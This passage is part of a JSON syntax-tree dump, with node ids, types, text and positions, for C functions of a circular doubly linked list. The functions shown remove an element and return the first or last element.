"end_point": {"row": 106, "column": 32}}, {"id": 299, "type": "identifier", "text": "list", "parent": 297, "children": [], "start_point": {"row": 106, "column": 32}, "end_point": {"row": 106, "column": 36}}, {"id": 300, "type": "parameter_declaration", "text": "void *element", "parent": 294, "children": [301, 302], "start_point": {"row": 106, "column": 38}, "end_point": {"row": 106, "column": 51}}, {"id": 301, "type": "primitive_type", "text": "void", "parent": 300, "children": [], "start_point": {"row": 106, "column": 38}, "end_point": {"row": 106, "column": 42}}, {"id": 302, "type": "pointer_declarator", "text": "*element", "parent": 300, "children": [303, 304], "start_point": {"row": 106, "column": 43}, "end_point": {"row": 106, "column": 51}}, {"id": 303, "type": "*", "text": "*", "parent": 302, "children": [], "start_point": {"row": 106, "column": 43}, "end_point": {"row": 106, "column": 44}}, {"id": 304, "type": "identifier", "text": "element", "parent": 302, "children": [], "start_point": {"row": 106, "column": 44}, "end_point": {"row": 106, "column": 51}}, {"id": 305, "type": "if_statement", "text": "if (list == NULL || element == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 290, "children": [306], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 110, "column": 2}}, {"id": 306, "type": "parenthesized_expression", "text": "(list == NULL || element == NULL)", "parent": 305, "children": [307], "start_point": {"row": 107, "column": 4}, "end_point": {"row": 107, "column": 37}}, {"id": 307, "type": "binary_expression", "text": "list == NULL || element == NULL", "parent": 306, "children": [308, 313, 314], "start_point": {"row": 107, "column": 5}, "end_point": {"row": 107, "column": 36}}, {"id": 308, "type": "binary_expression", "text": "list == NULL", "parent": 307, "children": [309, 310, 311], "start_point": {"row": 107, "column": 5}, "end_point": {"row": 107, "column": 17}}, {"id": 309, "type": "identifier", "text": "list", "parent": 308, "children": [], "start_point": {"row": 107, "column": 5}, "end_point": {"row": 107, "column": 9}}, {"id": 310, "type": "==", "text": "==", "parent": 308, "children": [], "start_point": {"row": 107, "column": 10}, "end_point": {"row": 107, "column": 12}}, {"id": 311, "type": "null", "text": "NULL", "parent": 308, "children": [312], "start_point": {"row": 107, "column": 13}, "end_point": {"row": 107, "column": 17}}, {"id": 312, "type": "NULL", "text": "NULL", "parent": 311, "children": [], "start_point": {"row": 107, "column": 13}, "end_point": {"row": 107, "column": 17}}, {"id": 313, "type": "||", "text": "||", "parent": 307, "children": [], "start_point": {"row": 107, "column": 18}, "end_point": {"row": 107, "column": 20}}, {"id": 314, "type": "binary_expression", "text": "element == NULL", "parent": 307, "children": [315, 316, 317], "start_point": {"row": 107, "column": 21}, "end_point": {"row": 107, "column": 36}}, {"id": 315, "type": "identifier", "text": "element", "parent": 314, "children": [], "start_point": {"row": 107, "column": 21}, "end_point": {"row": 107, "column": 28}}, {"id": 316, "type": "==", "text": "==", "parent": 314, "children": [], "start_point": {"row": 107, "column": 29}, "end_point": {"row": 107, "column": 31}}, {"id": 317, "type": "null", "text": "NULL", "parent": 314, "children": [318], "start_point": {"row": 107, "column": 32}, "end_point": {"row": 107, "column": 36}}, {"id": 318, "type": "NULL", "text": "NULL", "parent": 317, "children": [], "start_point": {"row": 107, "column": 32}, "end_point": {"row": 107, "column": 36}}, {"id": 319, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 305, "children": [], "start_point": {"row": 108, "column": 2}, "end_point": {"row": 108, "column": 21}}, {"id": 320, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 305, "children": [321], "start_point": {"row": 109, "column": 2}, "end_point": {"row": 109, "column": 25}}, {"id": 321, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 320, "children": [], "start_point": {"row": 109, "column": 9}, "end_point": {"row": 109, "column": 24}}, {"id": 322, "type": "declaration", "text": "linked_list *iterator;", "parent": 290, "children": [323, 324], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 112, "column": 23}}, {"id": 323, "type": "type_identifier", "text": "linked_list", "parent": 322, "children": [], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 112, "column": 12}}, {"id": 324, "type": "pointer_declarator", "text": "*iterator", "parent": 322, "children": [325, 326], "start_point": {"row": 112, "column": 13}, "end_point": {"row": 112, "column": 22}}, {"id": 325, "type": "*", "text": "*", "parent": 324, "children": [], "start_point": {"row": 112, "column": 13}, "end_point": {"row": 112, "column": 14}}, {"id": 326, "type": "identifier", "text": "iterator", "parent": 324, "children": [], "start_point": {"row": 112, "column": 14}, "end_point": {"row": 112, "column": 22}}, {"id": 327, "type": "assignment_expression", "text": "iterator = list->next", "parent": 290, "children": [328, 329, 330], "start_point": {"row": 114, "column": 1}, "end_point": {"row": 114, "column": 22}}, {"id": 328, "type": "identifier", "text": "iterator", "parent": 327, "children": [], "start_point": {"row": 114, "column": 1}, "end_point": {"row": 114, "column": 9}}, {"id": 329, "type": "=", "text": "=", "parent": 327, "children": [], "start_point": {"row": 114, "column": 10}, "end_point": {"row": 114, "column": 11}}, {"id": 330, "type": "field_expression", "text": "list->next", "parent": 327, "children": [331, 332], "start_point": {"row": 114, "column": 12}, "end_point": {"row": 114, "column": 22}}, {"id": 331, "type": "identifier", "text": "list", "parent": 330, "children": [], "start_point": {"row": 114, "column": 12}, "end_point": {"row": 114, "column": 16}}, {"id": 332, "type": "field_identifier", "text": "next", "parent": 330, "children": [], "start_point": {"row": 114, "column": 18}, "end_point": {"row": 114, "column": 22}}, {"id": 333, "type": "while_statement", "text": "while (iterator != list) {\n\t\tif (iterator->data == element) {\n\t\t\titerator->previous->next = iterator->next;\n\t\t\titerator->next->previous = iterator->previous;\n\t\t\tfree(iterator);\n\t\t\t*((int*) list->data) -= 1;\n\t\t\treturn DL_SUCCESS_SIGNAL;\n\t\t}\n\t\titerator = iterator->next;\n\t}", "parent": 290, "children": [334], "start_point": {"row": 116, "column": 1}, "end_point": {"row": 125, "column": 2}}, {"id": 334, "type": "parenthesized_expression", "text": "(iterator != list)", "parent": 333, "children": [335], "start_point": {"row": 116, "column": 7}, "end_point": {"row": 116, "column": 25}}, {"id": 335, "type": "binary_expression", "text": "iterator != list", "parent": 334, "children": [336, 337, 338], "start_point": {"row": 116, "column": 8}, "end_point": {"row": 116, "column": 24}}, {"id": 336, "type": "identifier", "text": "iterator", "parent": 335, "children": [], "start_point": {"row": 116, "column": 8}, "end_point": {"row": 116, "column": 16}}, {"id": 337, "type": "!=", "text": "!=", "parent": 335, "children": [], "start_point": {"row": 116, "column": 17}, "end_point": {"row": 116, "column": 19}}, {"id": 338, "type": "identifier", "text": "list", "parent": 335, "children": [], "start_point": {"row": 116, "column": 20}, "end_point": {"row": 116, "column": 24}}, {"id": 339, "type": "if_statement", "text": "if (iterator->data == element) {\n\t\t\titerator->previous->next = iterator->next;\n\t\t\titerator->next->previous = iterator->previous;\n\t\t\tfree(iterator);\n\t\t\t*((int*) list->data) -= 1;\n\t\t\treturn DL_SUCCESS_SIGNAL;\n\t\t}", "parent": 333, "children": [340], "start_point": {"row": 117, "column": 2}, "end_point": {"row": 123, "column": 3}}, {"id": 340, "type": "parenthesized_expression", "text": "(iterator->data == element)", "parent": 339, "children": [341], "start_point": {"row": 117, "column": 5}, "end_point": {"row": 117, "column": 32}}, {"id": 341, "type": "binary_expression", "text": "iterator->data == element", "parent": 340, "children": [342, 345, 346], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 31}}, {"id": 342, "type": "field_expression", "text": "iterator->data", "parent": 341, "children": [343, 344], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 20}}, {"id": 343, "type": "identifier", "text": "iterator", "parent": 342, "children": [], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 14}}, {"id": 344, "type": "field_identifier", "text": "data", "parent": 342, "children": [], "start_point": {"row": 117, "column": 16}, "end_point": {"row": 117, "column": 20}}, {"id": 345, "type": "==", "text": "==", "parent": 341, "children": [], "start_point": {"row": 117, "column": 21}, "end_point": {"row": 117, "column": 23}}, {"id": 346, "type": "identifier", "text": "element", "parent": 341, "children": [], "start_point": {"row": 117, "column": 24}, "end_point": {"row": 117, "column": 31}}, {"id": 347, "type": "assignment_expression", "text": "iterator->previous->next = iterator->next", "parent": 339, "children": [348, 353, 354], "start_point": {"row": 118, "column": 3}, "end_point": {"row": 118, "column": 44}}, {"id": 348, "type": "field_expression", "text": "iterator->previous->next", "parent": 347, "children": [349, 352], "start_point": {"row": 118, "column": 3}, "end_point": {"row": 118, "column": 27}}, {"id": 349, "type": "field_expression", "text": "iterator->previous", "parent": 348, "children": [350, 351], "start_point": {"row": 118, "column": 3}, "end_point": {"row": 118, "column": 21}}, {"id": 350, "type": "identifier", "text": "iterator", "parent": 349, "children": [], "start_point": {"row": 118, "column": 3}, "end_point": {"row": 118, "column": 11}}, {"id": 351, "type": "field_identifier", "text": "previous", "parent": 349, "children": [], "start_point": {"row": 118, "column": 13}, "end_point": {"row": 118, "column": 21}}, {"id": 352, "type": "field_identifier", "text": "next", "parent": 348, "children": [], "start_point": {"row": 118, "column": 23}, "end_point": {"row": 118, "column": 27}}, {"id": 353, "type": "=", "text": "=", "parent": 347, "children": [], "start_point": {"row": 118, "column": 28}, "end_point": {"row": 118, "column": 29}}, {"id": 354, "type": "field_expression", "text": "iterator->next", "parent": 347, "children": [355, 356], "start_point": {"row": 118, "column": 30}, "end_point": {"row": 118, "column": 44}}, {"id": 355, "type": "identifier", "text": "iterator", "parent": 354, "children": [], "start_point": {"row": 118, "column": 30}, "end_point": {"row": 118, "column": 38}}, {"id": 356, "type": "field_identifier", "text": "next", "parent": 354, "children": [], "start_point": {"row": 118, "column": 40}, "end_point": {"row": 118, "column": 44}}, {"id": 357, "type": "assignment_expression", "text": "iterator->next->previous = iterator->previous", "parent": 339, "children": [358, 363, 364], "start_point": {"row": 119, "column": 3}, "end_point": {"row": 119, "column": 48}}, {"id": 358, "type": "field_expression", "text": "iterator->next->previous", "parent": 357, "children": [359, 362], "start_point": {"row": 119, "column": 3}, "end_point": {"row": 119, "column": 27}}, {"id": 359, "type": "field_expression", "text": "iterator->next", "parent": 358, "children": [360, 361], "start_point": {"row": 119, "column": 3}, "end_point": {"row": 119, "column": 17}}, {"id": 360, "type": "identifier", "text": "iterator", "parent": 359, "children": [], "start_point": {"row": 119, "column": 3}, "end_point": {"row": 119, "column": 11}}, {"id": 361, "type": "field_identifier", "text": "next", "parent": 359, "children": [], "start_point": {"row": 119, "column": 13}, "end_point": {"row": 119, "column": 17}}, {"id": 362, "type": "field_identifier", "text": "previous", "parent": 358, "children": [], "start_point": {"row": 119, "column": 19}, "end_point": {"row": 119, "column": 27}}, {"id": 363, "type": "=", "text": "=", "parent": 357, "children": [], "start_point": {"row": 119, "column": 28}, "end_point": {"row": 119, "column": 29}}, {"id": 364, "type": "field_expression", "text": "iterator->previous", "parent": 357, "children": [365, 366], "start_point": {"row": 119, "column": 30}, "end_point": {"row": 119, "column": 48}}, {"id": 365, "type": "identifier", "text": "iterator", "parent": 364, "children": [], "start_point": {"row": 119, "column": 30}, "end_point": {"row": 119, "column": 38}}, {"id": 366, "type": "field_identifier", "text": "previous", "parent": 364, "children": [], "start_point": {"row": 119, "column": 40}, "end_point": {"row": 119, "column": 48}}, {"id": 367, "type": "call_expression", "text": "free(iterator)", "parent": 339, "children": [368, 369], "start_point": {"row": 120, "column": 3}, "end_point": {"row": 120, "column": 17}}, {"id": 368, "type": "identifier", "text": "free", "parent": 367, "children": [], "start_point": {"row": 120, "column": 3}, "end_point": {"row": 120, "column": 7}}, {"id": 369, "type": "argument_list", "text": "(iterator)", "parent": 367, "children": [370], "start_point": {"row": 120, "column": 7}, "end_point": {"row": 120, "column": 17}}, {"id": 370, "type": "identifier", "text": "iterator", "parent": 369, "children": [], "start_point": {"row": 120, "column": 8}, "end_point": {"row": 120, "column": 16}}, {"id": 371, "type": "assignment_expression", "text": "*((int*) list->data) -= 1", "parent": 339, "children": [372, 383, 384], "start_point": {"row": 121, "column": 3}, "end_point": {"row": 121, "column": 28}}, {"id": 372, "type": "pointer_expression", "text": "*((int*) list->data)", "parent": 371, "children": [373, 374], "start_point": {"row": 121, "column": 3}, "end_point": {"row": 121, "column": 23}}, {"id": 373, "type": "*", "text": "*", "parent": 372, "children": [], "start_point": {"row": 121, "column": 3}, "end_point": {"row": 121, "column": 4}}, {"id": 374, "type": "parenthesized_expression", "text": "((int*) list->data)", "parent": 372, "children": [375], "start_point": {"row": 121, "column": 4}, "end_point": {"row": 121, "column": 23}}, {"id": 375, "type": "cast_expression", "text": "(int*) list->data", "parent": 374, "children": [376, 380], "start_point": {"row": 121, "column": 5}, "end_point": {"row": 121, "column": 22}}, {"id": 376, "type": "type_descriptor", "text": "int*", "parent": 375, "children": [377, 378], "start_point": {"row": 121, "column": 6}, "end_point": {"row": 121, "column": 10}}, {"id": 377, "type": "primitive_type", "text": "int", "parent": 376, "children": [], "start_point": {"row": 121, "column": 6}, "end_point": {"row": 121, "column": 9}}, {"id": 378, "type": "abstract_pointer_declarator", "text": "*", "parent": 376, "children": [379], "start_point": {"row": 121, "column": 9}, "end_point": {"row": 121, "column": 10}}, {"id": 379, "type": "*", "text": "*", "parent": 378, "children": [], "start_point": {"row": 121, "column": 9}, "end_point": {"row": 121, "column": 10}}, {"id": 380, "type": "field_expression", "text": "list->data", "parent": 375, "children": [381, 382], "start_point": {"row": 121, "column": 12}, "end_point": {"row": 121, "column": 22}}, {"id": 381, "type": "identifier", "text": "list", "parent": 380, "children": [], "start_point": {"row": 121, "column": 12}, "end_point": {"row": 121, "column": 16}}, {"id": 382, "type": "field_identifier", "text": "data", "parent": 380, "children": [], "start_point": {"row": 121, "column": 18}, "end_point": {"row": 121, "column": 22}}, {"id": 383, "type": "-=", "text": "-=", "parent": 371, "children": [], "start_point": {"row": 121, "column": 24}, "end_point": {"row": 121, "column": 26}}, {"id": 384, "type": "number_literal", "text": "1", "parent": 371, "children": [], "start_point": {"row": 121, "column": 27}, "end_point": {"row": 121, "column": 28}}, {"id": 385, "type": "return_statement", "text": "return DL_SUCCESS_SIGNAL;", "parent": 339, "children": [386], "start_point": {"row": 122, "column": 3}, "end_point": {"row": 122, "column": 28}}, {"id": 386, "type": "identifier", "text": "DL_SUCCESS_SIGNAL", "parent": 385, "children": [], "start_point": {"row": 122, "column": 10}, "end_point": {"row": 122, "column": 27}}, {"id": 387, "type": "assignment_expression", "text": "iterator = iterator->next", "parent": 333, "children": [388, 389, 390], "start_point": {"row": 124, "column": 2}, "end_point": {"row": 124, "column": 27}}, {"id": 388, "type": "identifier", "text": "iterator", "parent": 387, "children": [], "start_point": {"row": 124, "column": 2}, "end_point": {"row": 124, "column": 10}}, {"id": 389, "type": "=", "text": "=", "parent": 387, "children": [], "start_point": {"row": 124, "column": 11}, "end_point": {"row": 124, "column": 12}}, {"id": 390, "type": "field_expression", "text": "iterator->next", "parent": 387, "children": [391, 392], "start_point": {"row": 124, "column": 13}, "end_point": {"row": 124, "column": 27}}, {"id": 391, "type": "identifier", "text": "iterator", "parent": 390, "children": [], "start_point": {"row": 124, "column": 13}, "end_point": {"row": 124, "column": 21}}, {"id": 392, "type": "field_identifier", "text": "next", "parent": 390, "children": [], "start_point": {"row": 124, "column": 23}, "end_point": {"row": 124, "column": 27}}, {"id": 393, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 290, "children": [394], "start_point": {"row": 126, "column": 1}, "end_point": {"row": 126, "column": 24}}, {"id": 394, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 393, "children": [], "start_point": {"row": 126, "column": 8}, "end_point": {"row": 126, "column": 23}}, {"id": 395, "type": "function_definition", "text": "void *get_first_element(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t} else if (list->next == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}\n\treturn list->next->data;\n}", "parent": null, "children": [396, 397], "start_point": {"row": 133, "column": 0}, "end_point": {"row": 142, "column": 1}}, {"id": 396, "type": "primitive_type", "text": "void", "parent": 395, "children": [], "start_point": {"row": 133, "column": 0}, "end_point": {"row": 133, "column": 4}}, {"id": 397, "type": "pointer_declarator", "text": "*get_first_element(linked_list *list)", "parent": 395, "children": [398, 399], "start_point": {"row": 133, "column": 5}, "end_point": {"row": 133, "column": 42}}, {"id": 398, "type": "*", "text": "*", "parent": 397, "children": [], "start_point": {"row": 133, "column": 5}, "end_point": {"row": 133, "column": 6}}, {"id": 399, "type": "function_declarator", "text": "get_first_element(linked_list *list)", "parent": 397, "children": [400, 401], "start_point": {"row": 133, "column": 6}, "end_point": {"row": 133, "column": 42}}, {"id": 400, "type": "identifier", "text": "get_first_element", "parent": 399, "children": [], "start_point": {"row": 133, "column": 6}, "end_point": {"row": 133, "column": 23}}, {"id": 401, "type": "parameter_list", "text": "(linked_list *list)", "parent": 399, "children": [402], "start_point": {"row": 133, "column": 23}, "end_point": {"row": 133, "column": 42}}, {"id": 402, "type": "parameter_declaration", "text": "linked_list *list", "parent": 401, "children": [403, 404], "start_point": {"row": 133, "column": 24}, "end_point": {"row": 133, "column": 41}}, {"id": 403, "type": "type_identifier", "text": "linked_list", "parent": 402, "children": [], "start_point": {"row": 133, "column": 24}, "end_point": {"row": 133, "column": 35}}, {"id": 404, "type": "pointer_declarator", "text": "*list", "parent": 402, "children": [405, 406], "start_point": {"row": 133, "column": 36}, "end_point": {"row": 133, "column": 41}}, {"id": 405, "type": "*", "text": "*", "parent": 404, "children": [], "start_point": {"row": 133, "column": 36}, "end_point": {"row": 133, "column": 37}}, {"id": 406, "type": "identifier", "text": "list", "parent": 404, "children": [], "start_point": {"row": 133, "column": 37}, "end_point": {"row": 133, "column": 41}}, {"id": 407, "type": "if_statement", "text": "if (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t} else if (list->next == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}", "parent": 395, "children": [408, 418], "start_point": {"row": 134, "column": 1}, "end_point": {"row": 140, "column": 2}}, {"id": 408, "type": "parenthesized_expression", "text": "(list == NULL)", "parent": 407, "children": [409], "start_point": {"row": 134, "column": 4}, "end_point": {"row": 134, "column": 18}}, {"id": 409, "type": "binary_expression", "text": "list == NULL", "parent": 408, "children": [410, 411, 412], "start_point": {"row": 134, "column": 5}, "end_point": {"row": 134, "column": 17}}, {"id": 410, "type": "identifier", "text": "list", "parent": 409, "children": [], "start_point": {"row": 134, "column": 5}, "end_point": {"row": 134, "column": 9}}, {"id": 411, "type": "==", "text": "==", "parent": 409, "children": [], "start_point": {"row": 134, "column": 10}, "end_point": {"row": 134, "column": 12}}, {"id": 412, "type": "null", "text": "NULL", "parent": 409, "children": [413], "start_point": {"row": 134, "column": 13}, "end_point": {"row": 134, "column": 17}}, {"id": 413, "type": "NULL", "text": "NULL", "parent": 412, "children": [], "start_point": {"row": 134, "column": 13}, "end_point": {"row": 134, "column": 17}}, {"id": 414, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 407, "children": [], "start_point": {"row": 135, "column": 2}, "end_point": {"row": 135, "column": 21}}, {"id": 415, "type": "return_statement", "text": "return NULL;", "parent": 407, "children": [416], "start_point": {"row": 136, "column": 2}, "end_point": {"row": 136, "column": 14}}, {"id": 416, "type": "null", "text": "NULL", "parent": 415, "children": [417], "start_point": {"row": 136, "column": 9}, "end_point": {"row": 136, "column": 13}}, {"id": 417, "type": "NULL", "text": "NULL", "parent": 416, "children": [], "start_point": {"row": 136, "column": 9}, "end_point": {"row": 136, "column": 13}}, {"id": 418, "type": "else_clause", "text": "else if (list->next == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}", "parent": 407, "children": [419], "start_point": {"row": 137, "column": 3}, "end_point": {"row": 140, "column": 2}}, {"id": 419, "type": "if_statement", "text": "if (list->next == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}", "parent": 418, "children": [420], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 140, "column": 2}}, {"id": 420, "type": "parenthesized_expression", "text": "(list->next == list)", "parent": 419, "children": [421], "start_point": {"row": 137, "column": 11}, "end_point": {"row": 137, "column": 31}}, {"id": 421, "type": "binary_expression", "text": "list->next == list", "parent": 420, "children": [422, 425, 426], "start_point": {"row": 137, "column": 12}, "end_point": {"row": 137, "column": 30}}, {"id": 422, "type": "field_expression", "text": "list->next", "parent": 421, "children": [423, 424], "start_point": {"row": 137, "column": 12}, "end_point": {"row": 137, "column": 22}}, {"id": 423, "type": "identifier", "text": "list", "parent": 422, "children": [], "start_point": {"row": 137, "column": 12}, "end_point": {"row": 137, "column": 16}}, {"id": 424, "type": "field_identifier", "text": "next", "parent": 422, "children": [], "start_point": {"row": 137, "column": 18}, "end_point": {"row": 137, "column": 22}}, {"id": 425, "type": "==", "text": "==", "parent": 421, "children": [], "start_point": {"row": 137, "column": 23}, "end_point": {"row": 137, "column": 25}}, {"id": 426, "type": "identifier", "text": "list", "parent": 421, "children": [], "start_point": {"row": 137, "column": 26}, "end_point": {"row": 137, "column": 30}}, {"id": 427, "type": "identifier", "text": "DL_OUT_OF_BOUND_MSG", "parent": 419, "children": [], "start_point": {"row": 138, "column": 2}, "end_point": {"row": 138, "column": 21}}, {"id": 428, "type": "return_statement", "text": "return NULL;", "parent": 419, "children": [429], "start_point": {"row": 139, "column": 2}, "end_point": {"row": 139, "column": 14}}, {"id": 429, "type": "null", "text": "NULL", "parent": 428, "children": [430], "start_point": {"row": 139, "column": 9}, "end_point": {"row": 139, "column": 13}}, {"id": 430, "type": "NULL", "text": "NULL", "parent": 429, "children": [], "start_point": {"row": 139, "column": 9}, "end_point": {"row": 139, "column": 13}}, {"id": 431, "type": "return_statement", "text": "return list->next->data;", "parent": 395, "children": [432], "start_point": {"row": 141, "column": 1}, "end_point": {"row": 141, "column": 25}}, {"id": 432, "type": "field_expression", "text": "list->next->data", "parent": 431, "children": [433, 436], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 141, "column": 24}}, {"id": 433, "type": "field_expression", "text": "list->next", "parent": 432, "children": [434, 435], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 141, "column": 18}}, {"id": 434, "type": "identifier", "text": "list", "parent": 433, "children": [], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 141, "column": 12}}, {"id": 435, "type": "field_identifier", "text": "next", "parent": 433, "children": [], "start_point": {"row": 141, "column": 14}, "end_point": {"row": 141, "column": 18}}, {"id": 436, "type": "field_identifier", "text": "data", "parent": 432, "children": [], "start_point": {"row": 141, "column": 20}, "end_point": {"row": 141, "column": 24}}, {"id": 437, "type": "function_definition", "text": "void *get_last_element(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t} else if (list->previous == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}\n\treturn list->previous->data;\n}", "parent": null, "children": [438, 439], "start_point": {"row": 148, "column": 0}, "end_point": {"row": 157, "column": 1}}, {"id": 438, "type": "primitive_type", "text": "void", "parent": 437, "children": [], "start_point": {"row": 148, "column": 0}, "end_point": {"row": 148, "column": 4}}, {"id": 439, "type": "pointer_declarator", "text": "*get_last_element(linked_list *list)", "parent": 437, "children": [440, 441], "start_point": {"row": 148, "column": 5}, "end_point": {"row": 148, "column": 41}}, {"id": 440, "type": "*", "text": "*", "parent": 439, "children": [], "start_point": {"row": 148, "column": 5}, "end_point": {"row": 148, "column": 6}}, {"id": 441, "type": "function_declarator", "text": "get_last_element(linked_list *list)", "parent": 439, "children": [442, 443], "start_point": {"row": 148, "column": 6}, "end_point": {"row": 148, "column": 41}}, {"id": 442, "type": "identifier", "text": "get_last_element", "parent": 441, "children": [], "start_point": {"row": 148, "column": 6}, "end_point": {"row": 148, "column": 22}}, {"id": 443, "type": "parameter_list", "text": "(linked_list *list)", "parent": 441, "children": [444], "start_point": {"row": 148, "column": 22}, "end_point": {"row": 148, "column": 41}}, {"id": 444, "type": "parameter_declaration", "text": "linked_list *list", "parent": 443, "children": [445, 446], "start_point": {"row": 148, "column": 23}, "end_point": {"row": 148, "column": 40}}, {"id": 445, "type": "type_identifier", "text": "linked_list", "parent": 444, "children": [], "start_point": {"row": 148, "column": 23}, "end_point": {"row": 148, "column": 34}}, {"id": 446, "type": "pointer_declarator", "text": "*list", "parent": 444, "children": [447, 448], "start_point": {"row": 148, "column": 35}, "end_point": {"row": 148, "column": 40}}, {"id": 447, "type": "*", "text": "*", "parent": 446, "children": [], "start_point": {"row": 148, "column": 35}, "end_point": {"row": 148, "column": 36}}, {"id": 448, "type": "identifier", "text": "list", "parent": 446, "children": [], "start_point": {"row": 148, "column": 36}, "end_point": {"row": 148, "column": 40}}, {"id": 449, "type": "if_statement", "text": "if (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t} else if (list->previous == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}", "parent": 437, "children": [450, 460], "start_point": {"row": 149, "column": 1}, "end_point": {"row": 155, "column": 2}}, {"id": 450, "type": "parenthesized_expression", "text": "(list == NULL)", "parent": 449, "children": [451], "start_point": {"row": 149, "column": 4}, "end_point": {"row": 149, "column": 18}}, {"id": 451, "type": "binary_expression", "text": "list == NULL", "parent": 450, "children": [452, 453, 454], "start_point": {"row": 149, "column": 5}, "end_point": {"row": 149, "column": 17}}, {"id": 452, "type": "identifier", "text": "list", "parent": 451, "children": [], "start_point": {"row": 149, "column": 5}, "end_point": {"row": 149, "column": 9}}, {"id": 453, "type": "==", "text": "==", "parent": 451, "children": [], "start_point": {"row": 149, "column": 10}, "end_point": {"row": 149, "column": 12}}, {"id": 454, "type": "null", "text": "NULL", "parent": 451, "children": [455], "start_point": {"row": 149, "column": 13}, "end_point": {"row": 149, "column": 17}}, {"id": 455, "type": "NULL", "text": "NULL", "parent": 454, "children": [], "start_point": {"row": 149, "column": 13}, "end_point": {"row": 149, "column": 17}}, {"id": 456, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 449, "children": [], "start_point": {"row": 150, "column": 2}, "end_point": {"row": 150, "column": 21}}, {"id": 457, "type": "return_statement", "text": "return NULL;", "parent": 449, "children": [458], "start_point": {"row": 151, "column": 2}, "end_point": {"row": 151, "column": 14}}, {"id": 458, "type": "null", "text": "NULL", "parent": 457, "children": [459], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 13}}, {"id": 459, "type": "NULL", "text": "NULL", "parent": 458, "children": [], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 13}}, {"id": 460, "type": "else_clause", "text": "else if (list->previous == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}", "parent": 449, "children": [461], "start_point": {"row": 152, "column": 3}, "end_point": {"row": 155, "column": 2}}, {"id": 461, "type": "if_statement", "text": "if (list->previous == list) {\n\t\tDL_OUT_OF_BOUND_MSG;\n\t\treturn NULL;\n\t}", "parent": 460, "children": [462], "start_point": {"row": 152, "column": 8}, "end_point": {"row": 155, "column": 2}}, {"id": 462, "type": "parenthesized_expression", "text": "(list->previous == list)", "parent": 461, "children": [463], "start_point": {"row": 152, "column": 11}, "end_point": {"row": 152, "column": 35}}, {"id": 463, "type": "binary_expression", "text": "list->previous == list", "parent": 462, "children": [464, 467, 468], "start_point": {"row": 152, "column": 12}, "end_point": {"row": 152, "column": 34}}, {"id": 464, "type": "field_expression", "text": "list->previous", "parent": 463, "children": [465, 466], "start_point": {"row": 152, "column": 12}, "end_point": {"row": 152, "column": 26}}, {"id": 465, "type": "identifier", "text": "list", "parent": 464, "children": [], "start_point": {"row": 152, "column": 12}, "end_point": {"row": 152, "column": 16}}, {"id": 466, "type": "field_identifier", "text": "previous", "parent": 464, "children": [], "start_point": {"row": 152, "column": 18}, "end_point": {"row": 152, "column": 26}}, {"id": 467, "type": "==", "text": "==", "parent": 463, "children": [], "start_point": {"row": 152, "column": 27}, "end_point": {"row": 152, "column": 29}}, {"id": 468, "type": "identifier", "text": "list", "parent": 463, "children": [], "start_point": {"row": 152, "column": 30}, "end_point": {"row": 152, "column": 34}}, {"id": 469, "type": "identifier", "text": "DL_OUT_OF_BOUND_MSG", "parent": 461, "children": [], "start_point": {"row": 153, "column": 2}, "end_point": {"row": 153, "column": 21}}, {"id": 470, "type": "return_statement", "text": "return NULL;", "parent": 461, "children": [471], "start_point": {"row": 154, "column": 2}, "end_point": {"row": 154, "column": 14}}, {"id": 471, "type": "null", "text": "NULL", "parent": 470, "children": [472], "start_point": {"row": 154, "column": 9}, "end_point": {"row": 154, "column": 13}}, {"id": 472, "type": "NULL", "text": "NULL", "parent": 471, "children": [], "start_point": {"row": 154, "column": 9}, "end_point": {"row": 154, "column": 13}}, {"id": 473, "type": "return_statement", "text": "return list->previous->data;", "parent": 437, "children": [474], "start_point": {"row": 156, "column": 1}, "end_point": {"row": 156, "column": 29}}, {"id": 474, "type": "field_expression", "text": "list->previous->data", "parent": 473, "children": [475, 478], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 28}}, {"id": 475, "type": "field_expression", "text": "list->previous", "parent": 474, "children": [476, 477], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 22}}, {"id": 476, "type": "identifier", "text": "list", "parent": 475, "children": [], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 12}}, {"id": 477, "type": "field_identifier", "text": "previous", "parent": 475, "children": [], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 22}}, {"id": 478, "type": 